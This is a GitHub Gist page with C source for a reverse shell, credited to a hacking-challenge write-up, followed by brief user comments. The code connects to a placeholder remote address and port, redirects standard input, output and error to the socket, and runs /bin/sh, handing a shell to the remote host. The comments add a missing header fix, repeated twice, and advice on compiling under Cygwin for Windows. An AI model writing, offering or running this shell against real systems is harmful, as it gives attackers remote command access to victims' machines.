Created
January 6, 2015 15:24
-
-
Save 0xabe-io/916cf3af33d1c0592a90 to your computer and use it in GitHub Desktop.
Simple C code to create a reverse shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */ | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <netinet/in.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#define REMOTE_ADDR "XXX.XXX.XXX.XXX" | |
#define REMOTE_PORT XXX | |
int main(int argc, char *argv[]) | |
{ | |
struct sockaddr_in sa; | |
int s; | |
sa.sin_family = AF_INET; | |
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); | |
sa.sin_port = htons(REMOTE_PORT); | |
s = socket(AF_INET, SOCK_STREAM, 0); | |
connect(s, (struct sockaddr *)&sa, sizeof(sa)); | |
dup2(s, 0); | |
dup2(s, 1); | |
dup2(s, 2); | |
execve("/bin/sh", 0, 0); | |
return 0; | |
} |
You have to include inet.h :
#include <arpa/inet.h>
Else you're gonna have an error with gcc because it's usinginet_addr()
Is this working for u
can I use this on windows?
or you can compile it with cywgin, but the required dll files must be on the path
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
You have to include inet.h :
#include <arpa/inet.h>
Else you're gonna have an error with gcc because it's using
inet_addr()